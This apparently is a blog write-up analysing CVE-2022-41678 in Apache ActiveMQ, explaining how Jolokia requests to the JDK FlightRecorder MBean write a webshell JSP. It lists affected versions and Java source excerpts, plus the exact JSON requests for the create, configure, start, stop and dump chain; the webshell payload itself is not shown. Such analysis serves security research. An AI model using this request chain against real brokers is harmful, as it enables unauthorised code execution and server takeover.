There have been several ActiveMQ vulnerabilities recently. I saw others already analyzed them, so I didn’t dig too deeply at the time. Then an older issue from last year got re-surfaced, so I wrote these notes in one go (also because I hadn’t systematically studied ActiveMQ, so this was a good excuse).
The official advisory is very detailed, see:
https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt
Affected Versions
Apache ActiveMQ< 5.16.6- 5.17.0 <
Apache ActiveMQ< 5.17.4
Prerequisites
When using the Jolokia API in Apache ActiveMQ, the JSON request format depends on the operation you want to perform. Jolokia supports many operations, such as reading MBean attributes, executing MBean operations, writing MBean attributes, etc.
Below are a few basic Jolokia operations.
Read an MBean Attribute
{ "type": "read", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "attribute": "TotalProducerCount"}
Execute an MBean Operation
{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "addQueue", "arguments": ["TestQueue"]}
Write an MBean Attribute
{ "type": "write", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "attribute": "SomeAttribute", "value": "NewValue"}
List All MBeans
{ "type": "list"}
That’s enough background for analyzing this issue.
Vulnerability Analysis
Most public writeups already point to Jolokia, so I went straight to diffing the patch (not just laziness…).
One note: don’t use 5.17 if you can avoid it; use 5.16 instead. The environment setup for 5.17 was a pain.

First, from web.xml we can locate the Jolokia path and the servlet implementation.
Let’s look at org.jolokia.http.AgentServlet:
 
It checks the Origin header, and exits if the origin is not allowed. So include an appropriate Origin header when accessing it.
With that, you can use the Jolokia operations from the earlier section.
With Jolokia, you can operate on MBeans. MBeans are the core of JMX: they expose JDK-level services as interfaces, which can provide powerful capabilities.
In Java 11, a new MBean was introduced: jdk.management.jfr.FlightRecorderMXBeanImpl.
Oracle’s documentation is here (recommended):
https://docs.oracle.com/en/java/javase/11/docs/api/jdk.management.jfr/jdk/management/jfr/FlightRecorderMXBean.html
Below is a brief walkthrough.
newRecording creates a new recording but doesn’t start it:
public long newRecording() { MBeanUtils.checkControl(); getRecorder(); // ensure notification listener is setup return AccessController.doPrivileged(new PrivilegedAction<Recording>() { @Override public Recording run() { return new Recording(); } }, null, new FlightRecorderPermission("accessFlightRecorder")).getId();}To start a recording, call startRecording with the returned id:
public void startRecording(long id) { MBeanUtils.checkControl(); getExistingRecording(id).start();}To stop it, call stopRecording:
public boolean stopRecording(long id) { MBeanUtils.checkControl(); return getExistingRecording(id).stop();}Starting/stopping alone doesn’t help us embed webshell content. We need setConfiguration to write the webshell content as part of the configuration. Where do we get a configuration template? From getConfigurations:
public List<ConfigurationInfo> getConfigurations() { MBeanUtils.checkMonitor(); return MBeanUtils.transformList(Configuration.getConfigurations(), ConfigurationInfo::new); }Finally, copyTo writes the recording output to a specified file path — this is the last step to write a JSP:
public void copyTo(long recording, String path) throws IOException { Objects.requireNonNull(path); MBeanUtils.checkControl(); getExistingRecording(recording).dump(Paths.get(path));}The official docs also show the typical usage:

So the exploitation plan is clear:
Create recording → set configuration → start → stop → dump to file
The recording content is what we want to write (the webshell).
Let’s do it step-by-step. First, create a recording (no arguments). The response value is the recording id:
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"newRecording"} 
Then fetch a configuration to see its structure (note: use read):
{"type":"read","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"getConfigurations"} 
Modify it by injecting the webshell payload:

Write it back. The method takes two arguments: the id (here 1), and the modified configuration contents:
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"setConfiguration","arguments": [1,"xml"]} 
Start & stop the recording:
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"startRecording","arguments": [1]}{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"stopRecording","arguments": [1]}   
Dump to file:
 
Verify by accessing it:

Summary
It feels like every time there’s a major underlying update with new features, new security issues show up. Here, ActiveMQ 5.16.x started supporting Java 11, which opened up this angle. Similar new-feature surfaces are worth auditing.
Also, the exploitation primitives are not limited to JDK MBeans — you can also leverage third-party MBeans to get a shell. That part is left as an exercise.